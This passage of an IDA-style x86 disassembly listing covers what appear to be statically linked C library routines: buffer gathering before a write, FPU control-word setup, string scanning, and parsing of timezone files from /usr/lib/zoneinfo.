loc_0_8057004:				; CODE XREF: sub_0_8056E70+183j
		add	ebx, 40h
		add	esi, 20h

loc_0_805700A:				; CODE XREF: sub_0_8056E70+CFj
		add	[ebp+var_C], eax
		cmp	[ebp+arg_8], esi
		ja	loc_0_8056F44

loc_0_8057016:				; CODE XREF: sub_0_8056E70+18j
		mov	eax, [ebp+var_C]
		jmp	loc_0_8057128
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8057020:				; CODE XREF: sub_0_8056E70+18Cj
		mov	errno, 0
		mov	[ebp+var_C], 0
		xor	esi, esi
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_C], ecx
		jnb	short loc_0_80570AC
		mov	eax, ecx
		and	eax, 3
		cmp	[ebp+var_C], ecx
		jge	short loc_0_805706C
		test	eax, eax
		jz	short loc_0_805707C
		cmp	eax, 1
		jle	short loc_0_805706C
		cmp	eax, 2
		jle	short loc_0_8057061
		mov	edi, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ecx+edi*8+4]
		mov	[ebp+var_C], edi
		inc	esi

loc_0_8057061:				; CODE XREF: sub_0_8056E70+1E1j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+4]
		add	[ebp+var_C], ecx
		inc	esi

loc_0_805706C:				; CODE XREF: sub_0_8056E70+1D3j
					; sub_0_8056E70+1DCj
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+4]
		add	[ebp+var_C], edi
		inc	esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_0_80570AC

loc_0_805707C:				; CODE XREF: sub_0_8056E70+1D7j
					; sub_0_8056E70+23Aj
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+4]
		add	[ebp+var_C], ecx
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+0Ch]
		add	[ebp+var_C], edi
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+14h]
		add	[ebp+var_C], ecx
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+1Ch]
		add	[ebp+var_C], edi
		add	esi, 4
		cmp	[ebp+arg_8], esi
		ja	short loc_0_805707C

loc_0_80570AC:				; CODE XREF: sub_0_8056E70+1C9j
					; sub_0_8056E70+20Aj
		cmp	[ebp+var_C], 0
		jnz	short loc_0_80570B8
		xor	eax, eax
		jmp	short loc_0_8057128
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80570B8:				; CODE XREF: sub_0_8056E70+240j
		mov	eax, [ebp+var_C]
		add	eax, 3
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_4], esp
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_8], esp
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_0_8057117
		lea	esi, [esi+0]

loc_0_80570D8:				; CODE XREF: sub_0_8056E70+2A5j
		mov	ecx, [ebp+var_10]
		mov	edi, [ebp+arg_4]
		cmp	[edi+esi*8+4], ecx
		jbe	short loc_0_80570EC
		mov	ebx, [ebp+var_10]
		jmp	short loc_0_80570F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80570EC:				; CODE XREF: sub_0_8056E70+272j
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi+esi*8+4]

loc_0_80570F3:				; CODE XREF: sub_0_8056E70+277j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+esi*8]
		call	memcpy(var_8,eax,ebx)
		add	edi, ebx
		mov	[ebp+var_8], edi
		sub	[ebp+var_10], ebx
		jz	short loc_0_8057117
		inc	esi
		cmp	[ebp+arg_8], esi
		ja	short loc_0_80570D8

loc_0_8057117:				; CODE XREF: sub_0_8056E70+263j
					; sub_0_8056E70+29Fj
		call	write(arg_0,var_4,var_c)

loc_0_8057128:				; CODE XREF: sub_0_8056E70+18Ej
					; sub_0_8056E70+1A9j ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8056E70	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805756C	proc near		; CODE XREF: start+37p

var_2		= word ptr -2
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	dx, [ebp+arg_0]
		test	dx, dx
		jnz	short loc_0_8057580
		mov	edx, 137Fh

loc_0_8057580:				; CODE XREF: sub_0_805756C+Dj
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		and	ax, 0F0C0h
		mov	[ebp+var_2], ax
		mov	eax, edx
		and	ax, 0F3Fh
		mov	dx, [ebp+var_2]
		or	ax, dx
		mov	[ebp+var_2], ax
		fldcw	[ebp+var_2]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805756C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8057ADC	proc near		; CODE XREF: .text:0804C3D3p
					; sub_0_805CCB0+109p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld	

loc_0_8057AE8:				; CODE XREF: sub_0_8057ADC+12j
		lodsb
		scasb
		jnz	short loc_0_8057AF4
		test	al, al
		jnz	short loc_0_8057AE8
		xor	eax, eax
		jmp	short loc_0_8057AF8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057AF4:				; CODE XREF: sub_0_8057ADC+Ej
		sbb	eax, eax
		or	al, 1

loc_0_8057AF8:				; CODE XREF: sub_0_8057ADC+16j
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8057ADC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8057BE8	proc near		; CODE XREF: sub_0_804A9D8+B2p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ch, cl
		mov	edx, ecx
		shl	ecx, 10h
		mov	cx, dx
		test	esi, 3
		jz	loc_0_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_0_8057C13
		mov	eax, esi

loc_0_8057C13:				; CODE XREF: sub_0_8057BE8+27j
		or	dl, dl
		jz	loc_0_8057D9E
		inc	esi
		test	esi, 3
		jz	short loc_0_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_0_8057C2C
		mov	eax, esi

loc_0_8057C2C:				; CODE XREF: sub_0_8057BE8+40j
		or	dl, dl
		jz	loc_0_8057D9E
		inc	esi
		test	esi, 3
		jz	short loc_0_8057C8B
		mov	dl, [esi]
		cmp	dl, cl
		jnz	short loc_0_8057C45
		mov	eax, esi

loc_0_8057C45:				; CODE XREF: sub_0_8057BE8+59j
		or	dl, dl
		jz	loc_0_8057D9E
		inc	esi
		jmp	short loc_0_8057C8B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057C50:				; CODE XREF: sub_0_8057BE8+CAj
		sub	esi, 4

loc_0_8057C53:				; CODE XREF: sub_0_8057BE8+FFj
		sub	esi, 4

loc_0_8057C56:				; CODE XREF: sub_0_8057BE8+134j
		sub	esi, 4

loc_0_8057C59:				; CODE XREF: sub_0_8057BE8+169j
		test	edx, 0FF000000h
		jnz	short loc_0_8057C6F
		lea	eax, [esi+0Fh]
		jmp	short loc_0_8057C88
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057C66:				; CODE XREF: sub_0_8057BE8+D5j
		sub	esi, 4

loc_0_8057C69:				; CODE XREF: sub_0_8057BE8+10Ej
		sub	esi, 4

loc_0_8057C6C:				; CODE XREF: sub_0_8057BE8+143j
		sub	esi, 4

loc_0_8057C6F:				; CODE XREF: sub_0_8057BE8+77j
					; sub_0_8057BE8+17Ej
		test	edx, 0FF0000h
		jnz	short loc_0_8057C7C
		lea	eax, [esi+0Eh]
		jmp	short loc_0_8057C88
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057C7C:				; CODE XREF: sub_0_8057BE8+8Dj
		test	dh, dh
		jnz	short loc_0_8057C85
		lea	eax, [esi+0Dh]
		jmp	short loc_0_8057C88
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057C85:				; CODE XREF: sub_0_8057BE8+96j
		lea	eax, [esi+0Ch]

loc_0_8057C88:				; CODE XREF: sub_0_8057BE8+7Cj
					; sub_0_8057BE8+92j ...
		add	esi, 10h

loc_0_8057C8B:				; CODE XREF: sub_0_8057BE8+1Dj
					; sub_0_8057BE8+3Aj ...
		mov	edx, [esi]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_0_8057D74
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_0_8057D74
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_0_8057C50
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_8057C66
		mov	edx, [esi+4]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_0_8057D71
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_0_8057D71
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_0_8057C53
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_0_8057C69
		mov	edx, [esi+8]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_0_8057D6E
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_8057D6E
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_0_8057C56
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	loc_0_8057C6C
		mov	edx, [esi+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	short loc_0_8057D6B
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_8057D6B
		xor	edx, ecx
		mov	edi, 0FEFEFEFFh
		add	edi, edx
		jnb	loc_0_8057C59
		xor	edi, edx
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	loc_0_8057C88
		jmp	loc_0_8057C6F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8057D6B:				; CODE XREF: sub_0_8057BE8+153j
					; sub_0_8057BE8+15Ej
		add	esi, 4

loc_0_8057D6E:				; CODE XREF: sub_0_8057BE8+11Ej
					; sub_0_8057BE8+129j
		add	esi, 4

loc_0_8057D71:				; CODE XREF: sub_0_8057BE8+E1j
					; sub_0_8057BE8+F0j
		add	esi, 4

loc_0_8057D74:				; CODE XREF: sub_0_8057BE8+ACj
					; sub_0_8057BE8+BBj
		cmp	dl, cl
		jnz	short loc_0_8057D7A
		mov	eax, esi

loc_0_8057D7A:				; CODE XREF: sub_0_8057BE8+18Ej
		test	dl, dl
		jz	short loc_0_8057D9E
		cmp	dh, cl
		jnz	short loc_0_8057D85
		lea	eax, [esi+1]

loc_0_8057D85:				; CODE XREF: sub_0_8057BE8+198j
		test	dh, dh
		jz	short loc_0_8057D9E
		shr	edx, 10h
		cmp	dl, cl
		jnz	short loc_0_8057D93
		lea	eax, [esi+2]

loc_0_8057D93:				; CODE XREF: sub_0_8057BE8+1A6j
		test	dl, dl
		jz	short loc_0_8057D9E
		cmp	dh, cl
		jnz	short loc_0_8057D9E
		lea	eax, [esi+3]

loc_0_8057D9E:				; CODE XREF: sub_0_8057BE8+2Dj
					; sub_0_8057BE8+46j ...
		lea	esp, [ebp+var_8]
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8057BE8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A0F0	proc near		; CODE XREF: sub_0_805A254+E8p
					; sub_0_805A254+FAp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx]
		shl	eax, 8
		movzx	edx, byte ptr [ecx+1]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+2]
		or	eax, edx
		mov	edx, eax
		shl	edx, 8
		movzx	eax, byte ptr [ecx+3]
		or	eax, edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A0F0	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A11C	proc near		; CODE XREF: sub_0_805AF5C+A8p
					; sub_0_805B010+2Dp

var_C		= byte ptr -0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	dword_0_8078B1C, offset	unk_0_8068EA4
		mov	dword_0_8078B20, offset	unk_0_8068EA4
		mov	dword_0_8078B28, 0
		mov	dword_0_8078B24, 0
		mov	dword_0_8078B2C, 0
		xor	ecx, ecx
		cmp	ds:dword_0_807B0E8, ecx
		jle	short loc_0_805A1C4
		mov	ebx, offset dword_0_807B82C
		mov	edx, offset unk_0_807B830
		xor	esi, esi
		lea	esi, [esi]

loc_0_805A16C:				; CODE XREF: sub_0_805A11C+A6j
		mov	eax, [edx]
		mov	edi, ds:dword_0_807B834[esi]
		add	edi, offset unk_0_807C82C
		mov	dword_0_8078B1C[eax*4],	edi
		cmp	dword ptr [edx], 0
		jz	short loc_0_805A190
		mov	dword_0_8078B28, 1

loc_0_805A190:				; CODE XREF: sub_0_805A11C+68j
		test	ecx, ecx
		jz	short loc_0_805A199
		cmp	dword ptr [edx], 0
		jnz	short loc_0_805A1A8

loc_0_805A199:				; CODE XREF: sub_0_805A11C+76j
		mov	edi, [ebx]
		neg	edi
		mov	dword_0_8078B24, edi
		cmp	dword ptr [edx], 0
		jz	short loc_0_805A1B2

loc_0_805A1A8:				; CODE XREF: sub_0_805A11C+7Bj
		mov	edi, [ebx]
		neg	edi
		mov	dword_0_8078B2C, edi

loc_0_805A1B2:				; CODE XREF: sub_0_805A11C+8Aj
		add	ebx, 10h
		add	edx, 10h
		add	esi, 10h
		inc	ecx
		cmp	ds:dword_0_807B0E8, ecx
		jg	short loc_0_805A16C

loc_0_805A1C4:				; CODE XREF: sub_0_805A11C+40j
		push	0
		call	time
		lea	esi, [eax+1E28500h]
		xor	ecx, ecx
		cmp	ds:dword_0_807B0E4, ecx
		jle	short loc_0_805A247
		mov	ebx, offset dword_0_807B0E0

loc_0_805A1E0:				; CODE XREF: sub_0_805A11C+129j
		cmp	[ebx+ecx*4+10h], esi
		jg	short loc_0_805A23E
		movzx	eax, byte ptr [ebx+ecx+5D8h]
		shl	eax, 4
		lea	edx, dword_0_807B82C[eax]
		mov	eax, [edx+4]
		mov	edi, [edx+8]
		add	edi, offset unk_0_807C82C
		mov	dword_0_8078B1C[eax*4],	edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_0_805A21A
		mov	dword_0_8078B28, 1

loc_0_805A21A:				; CODE XREF: sub_0_805A11C+F2j
		test	ecx, ecx
		jz	short loc_0_805A224
		cmp	dword ptr [edx+4], 0
		jnz	short loc_0_805A234

loc_0_805A224:				; CODE XREF: sub_0_805A11C+100j
		mov	edi, [edx]
		neg	edi
		mov	dword_0_8078B24, edi
		cmp	dword ptr [edx+4], 0
		jz	short loc_0_805A23E

loc_0_805A234:				; CODE XREF: sub_0_805A11C+106j
		mov	edx, [edx]
		neg	edx
		mov	dword_0_8078B2C, edx

loc_0_805A23E:				; CODE XREF: sub_0_805A11C+C8j
					; sub_0_805A11C+116j
		inc	ecx
		cmp	ds:dword_0_807B0E4, ecx
		jg	short loc_0_805A1E0

loc_0_805A247:				; CODE XREF: sub_0_805A11C+BDj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A11C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A254	proc near		; CODE XREF: sub_0_805AAC0+7Bp
					; sub_0_805AF2C+Dp ...

var_1D5C	= byte ptr -1D5Ch
var_1D50	= dword	ptr -1D50h
var_1D4C	= dword	ptr -1D4Ch
var_1D48	= dword	ptr -1D48h
var_1D44	= dword	ptr -1D44h
var_1D40	= byte ptr -1D40h
var_1D28	= byte ptr -1D28h
var_1D24	= byte ptr -1D24h
var_1D20	= byte ptr -1D20h
var_1D1C	= byte ptr -1D1Ch
var_1D18	= byte ptr -1D18h
var_1D14	= byte ptr -1D14h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1D50h
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_0_805A277
		mov	[ebp+arg_0], offset aLocaltime ; "localtime"
		cmp	[ebp+arg_0], 0
		jz	loc_0_805A3EF

loc_0_805A277:				; CODE XREF: sub_0_805A254+10j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx],	3Ah
		jnz	short loc_0_805A283
		inc	edx
		mov	[ebp+arg_0], edx

loc_0_805A283:				; CODE XREF: sub_0_805A254+29j
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	2Fh
		jz	short loc_0_805A2EE
		mov	esi, offset aUsrLibZoneinfo ; "/usr/lib/zoneinfo"
		test	esi, esi
		jz	loc_0_805A3EF
		mov	edx, strlen(esi)+1
		mov	eax, strlen(arg_0)+1
		lea	eax, [edx+eax-1]
		cmp	eax, 400h
		ja	loc_0_805A3EF
		lea	ebx, [ebp+var_404]
		call	strcpy(var_404,esi)
		call	strcat(ebx,'/')
		call	strcat(ebx,arg_0)
		mov	[ebp+arg_0], ebx

loc_0_805A2EE:				; CODE XREF: sub_0_805A254+35j
		call	open(arg_0,O_RDONLY)
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_0_805A3EF
		call	read(ebx,var_1d40,193Ch)
		mov	edi, eax
		call	close(ebx)
		test	eax, eax
		jnz	loc_0_805A3EF
		cmp	edi, 2Bh
		jbe	loc_0_805A3EF
		lea	eax, [ebp+var_1D28]
		push	eax
		call	sub_0_805A0F0
		mov	[ebp+var_1D44],	eax
		lea	eax, [ebp+var_1D24]
		push	eax
		call	sub_0_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx], eax
		lea	eax, [ebp+var_1D20]
		push	eax
		call	sub_0_805A0F0
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		lea	eax, [ebp+var_1D1C]
		push	eax
		call	sub_0_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+8], eax
		lea	eax, [ebp+var_1D18]
		push	eax
		call	sub_0_805A0F0
		mov	ebx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], ebx
		add	esp, 14h
		cmp	dword ptr [ecx], 32h
		ja	short loc_0_805A3EF
		mov	eax, [ecx+8]
		dec	eax
		cmp	eax, 0FFh
		ja	short loc_0_805A3EF
		cmp	dword ptr [ecx+4], 172h
		ja	short loc_0_805A3EF
		cmp	ebx, 32h
		ja	short loc_0_805A3EF
		mov	edx, [ebp+var_1D44]
		cmp	[ecx+8], edx
		jz	short loc_0_805A3C0
		test	edx, edx
		jnz	short loc_0_805A3EF

loc_0_805A3C0:				; CODE XREF: sub_0_805A254+166j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+4]
		lea	ebx, [eax+eax*4]
		mov	eax, [ecx+8]
		lea	esi, [eax+eax*4]
		lea	eax, [eax+esi+2Ch]
		add	eax, ebx
		add	eax, [ecx+0Ch]
		mov	edx, [ecx]
		shl	edx, 3
		mov	[ebp+var_1D50],	edx
		add	eax, edx
		add	eax, [ebp+var_1D44]
		cmp	edi, eax
		jnb	short loc_0_805A3FC

loc_0_805A3EF:				; CODE XREF: sub_0_805A254+1Dj
					; sub_0_805A254+3Ej ...
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_805A577
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A3FC:				; CODE XREF: sub_0_805A254+199j
		lea	esi, [ebp+var_1D14]
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_0_805A425

loc_0_805A40C:				; CODE XREF: sub_0_805A254+1CFj
		push	esi
		call	sub_0_805A0F0
		mov	edx, [ebp+arg_4]
		mov	[edx+edi*4+10h], eax
		add	esi, 4
		add	esp, 4
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_0_805A40C

loc_0_805A425:				; CODE XREF: sub_0_805A254+1B6j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+4], edi
		jle	short loc_0_805A450
		nop	

loc_0_805A430:				; CODE XREF: sub_0_805A254+1FAj
		mov	al, [esi]
		mov	edx, [ebp+arg_4]
		mov	[edi+edx+5D8h],	al
		inc	esi
		movzx	eax, byte ptr [edi+edx+5D8h]
		cmp	[edx+8], eax
		jle	short loc_0_805A3EF
		inc	edi
		cmp	[edx+4], edi
		jg	short loc_0_805A430

loc_0_805A450:				; CODE XREF: sub_0_805A254+1D9j
		xor	edi, edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jle	short loc_0_805A4B6
		mov	[ebp+var_1D4C],	74Ch

loc_0_805A464:				; CODE XREF: sub_0_805A254+260j
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D4C]
		push	esi
		call	sub_0_805A0F0
		mov	[ebx], eax
		add	esi, 4
		movzx	eax, byte ptr [esi]
		mov	[ebx+4], eax
		inc	esi
		add	esp, 4
		cmp	eax, 1
		ja	loc_0_805A3EF
		movzx	eax, byte ptr [esi]
		mov	[ebx+8], eax
		inc	esi
		test	eax, eax
		jl	loc_0_805A3EF
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], eax
		jl	loc_0_805A3EF
		add	[ebp+var_1D4C],	10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jg	short loc_0_805A464

loc_0_805A4B6:				; CODE XREF: sub_0_805A254+204j
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+0Ch], edi
		jle	short loc_0_805A4D3

loc_0_805A4C0:				; CODE XREF: sub_0_805A254+27Dj
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		mov	[edi+ecx+174Ch], al
		inc	esi
		inc	edi
		cmp	[ecx+0Ch], edi
		jg	short loc_0_805A4C0

loc_0_805A4D3:				; CODE XREF: sub_0_805A254+26Aj
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edi+edx+174Ch], 0
		xor	edi, edi
		cmp	[edx], edi
		jle	short loc_0_805A522
		mov	[ebp+var_1D48],	1780h
		lea	esi, [esi]

loc_0_805A4F0:				; CODE XREF: sub_0_805A254+2CCj
		mov	ebx, [ebp+arg_4]
		add	ebx, [ebp+var_1D48]
		push	esi
		call	sub_0_805A0F0
		mov	[ebx], eax
		add	esi, 4
		push	esi
		call	sub_0_805A0F0
		mov	[ebx+4], eax
		add	esi, 4
		add	esp, 8
		add	[ebp+var_1D48],	8
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx], edi
		jg	short loc_0_805A4F0

loc_0_805A522:				; CODE XREF: sub_0_805A254+28Ej
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+8], edi
		jle	short loc_0_805A575
		mov	ebx, 74Ch
		lea	esi, [esi+0]

loc_0_805A534:				; CODE XREF: sub_0_805A254+31Fj
		mov	ecx, [ebp+arg_4]
		add	ecx, ebx
		mov	[ebp+var_1D50],	ecx
		cmp	[ebp+var_1D44],	0
		jz	short loc_0_805A55C
		movzx	eax, byte ptr [esi]
		mov	[ecx+0Ch], eax
		inc	esi
		cmp	eax, 1
		jbe	short loc_0_805A569
		jmp	loc_0_805A3EF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805A55C:				; CODE XREF: sub_0_805A254+2F2j
		mov	edx, [ebp+var_1D50]
		mov	dword ptr [edx+0Ch], 0

loc_0_805A569:				; CODE XREF: sub_0_805A254+2FEj
		add	ebx, 10h
		inc	edi
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+8], edi
		jg	short loc_0_805A534

loc_0_805A575:				; CODE XREF: sub_0_805A254+2D6j
		xor	eax, eax

loc_0_805A577:				; CODE XREF: sub_0_805A254+1A0j
		lea	esp, [ebp+var_1D5C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A254	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A584	proc near		; CODE XREF: sub_0_805AAC0+16p
					; sub_0_805AAC0+9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_0_805A5BA
		movzx	eax, dl
		mov	ebx, tableBit
		jmp	short loc_0_805A5AB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805A59C:				; CODE XREF: sub_0_805A584+34j
		cmp	dl, 2Bh
		jz	short loc_0_805A5BA
		inc	ecx
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_0_805A5BA
		movzx	eax, dl

loc_0_805A5AB:				; CODE XREF: sub_0_805A584+16j
		test	byte ptr [ebx+eax*2+1],	8
		jnz	short loc_0_805A5BA
		mov	al, dl
		add	al, 0D4h
		cmp	al, 1
		ja	short loc_0_805A59C

loc_0_805A5BA:				; CODE XREF: sub_0_805A584+Bj
					; sub_0_805A584+1Bj ...
		mov	eax, ecx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805A584	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805A5C4	proc near		; CODE XREF: sub_0_805A634+17p
					; sub_0_805A634+47p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edi, [ebp+arg_C]
		test	ebx, ebx
		jz	short loc_0_805A628
		movzx	edx, byte ptr [ebx]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_0_805A628
		xor	edx, edx
		mov	al, [ebx]
		test	al, al
		jz	short loc_0_805A61A
		mov	esi, tableBit
		mov	[ebp+var_4], esi
		nop	

loc_0_805A5F8:				; CODE XREF: sub_0_805A5C4+54j
		movzx	ecx, al
		mov	esi, [ebp+var_4]
		test	byte ptr [esi+ecx*2+1],	8
		jz	short loc_0_805A61A
		lea	eax, [edx+edx*8]
